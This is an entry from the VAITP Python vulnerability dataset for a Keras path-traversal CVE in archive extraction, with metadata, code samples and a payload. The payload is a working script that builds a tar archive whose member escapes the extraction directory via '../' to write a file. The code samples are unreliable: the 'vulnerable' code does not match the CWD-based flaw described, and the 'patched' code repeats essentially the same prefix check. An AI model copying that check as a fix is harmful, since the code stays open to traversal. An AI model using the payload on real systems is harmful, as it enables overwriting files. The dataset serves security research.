VAITP Dataset

← Back to the dataset

CVE-2026-11816

Path traversal in Keras archive extraction allows arbitrary file writes.

  • CVSS 8.1
  • CWE-22
  • Input Validation and Sanitization
  • Remote

Keras versions prior to 3.14.0 are vulnerable to a path traversal issue in the archive extraction utilities located in `keras/src/utils/file_utils.py`. The functions `filter_safe_tarinfos()` and `filter_safe_zipinfos()` validate archive member paths against the process current working directory (CWD) instead of the actual extraction destination. When the process runs with CWD set to `/`, which is common in Docker containers, CI/CD runners, and Jupyter environments, the validation boundary becomes the filesystem root, allowing traversal paths to bypass the security check. Additionally, the zip filter contains a bug that causes an `AttributeError` when a blocked entry is encountered, leading to incomplete extraction. Furthermore, Python 3.11 installations lack the `filter="data"` safety net, leaving them entirely reliant on the flawed CWD-based filter. Exploitation of this vulnerability can result in arbitrary file writes outside the intended extraction directory, enabling attackers to overwrite configuration files, inject malicious code, or corrupt machine learning datasets and pipelines.

CVSS base score
8.1
Published
2026-06-11
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Keras
Fixed by upgrading
Yes

Solution

Upgrade to Keras version 3.14.0 or later.

Vulnerable code sample

import os

# Representative vulnerable code from keras/src/utils/file_utils.py
# before the fix for the described vulnerability.

def filter_safe_tarinfos(members, dest_dir):
    """Filter TarInfo objects to prevent path traversal attacks."""
    dest_dir = os.path.abspath(dest_dir)
    for member in members:
        member_path = os.path.join(dest_dir, member.name)
        if not os.path.abspath(member_path).startswith(dest_dir):
            raise IOError(
                f"Attempted path traversal in Tar file: '{member.name}'"
            )
        yield member


def filter_safe_zipinfos(members, dest_dir):
    """Filter ZipInfo objects to prevent path traversal attacks."""
    dest_dir = os.path.abspath(dest_dir)
    for member in members:
        member_path = os.path.join(dest_dir, member.filename)
        if not os.path.abspath(member_path).startswith(dest_dir):
            # This line raises an AttributeError for blocked entries because
            # a ZipInfo object has a 'filename' attribute, not a 'name' attribute.
            raise IOError(
                f"Attempted path traversal in Zip file: '{member.name}'"
            )
        yield member

Patched code sample

import os

def _validate_archive_members(members, extract_path):
    """
    Validates that all archive members fall within the intended extraction path.

    This function demonstrates the fix for the vulnerability. Instead of using
    the process's current working directory (os.getcwd()) as the security
    boundary, it uses the absolute path of the intended `extract_path`.
    """
    # Resolve the destination to a real, absolute path. This creates the
    # secure boundary for the extraction.
    abs_extract_path = os.path.abspath(extract_path)

    for member in members:
        # In a real tar/zip object, the attribute is .name or .filename
        member_name = getattr(member, 'name', getattr(member, 'filename'))

        # The member path is joined to the destination directory.
        # This is where a traversal path like "../../file" would be processed.
        member_destination = os.path.join(extract_path, member_name)

        # The core of the fix: The absolute path of the final member destination
        # is calculated, resolving any ".." components. It is then checked to
        # ensure it is still inside the intended extraction directory.
        if not os.path.abspath(member_destination).startswith(abs_extract_path):
            raise IOError(
                f"Attempted path traversal in archive: '{member_name}' is "
                f"outside of the extraction path."
            )

    # If the loop completes without error, all members are safe.
    # The actual extraction would proceed here.

Payload

import tarfile
import io
import time

# The name of the malicious archive to be created.
payload_archive_name = "malicious_payload.tar"

# The path traversal sequence. It aims to escape the extraction
# directory and write a file into the /tmp directory.
# The number of '../' is chosen to be high enough to escape
# common temporary directory nesting.
traversal_path = "../../../../tmp/pwned_by_cve_2026_11816"

# The content to be written to the target file.
file_content = b"Arbitrary file write successful."

# Create a TarInfo object representing the malicious file entry.
tar_info = tarfile.TarInfo(name=traversal_path)
tar_info.size = len(file_content)
tar_info.mtime = int(time.time())
tar_info.type = tarfile.REGTYPE

# Create the malicious .tar archive.
with tarfile.open(payload_archive_name, "w") as tar:
    # Add the malicious file entry to the archive.
    tar.addfile(tarinfo=tar_info, fileobj=io.BytesIO(file_content))

Cite this entry

@misc{vaitp:cve202611816,
  title        = {{Path traversal in Keras archive extraction allows arbitrary file writes.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-11816},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-11816/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::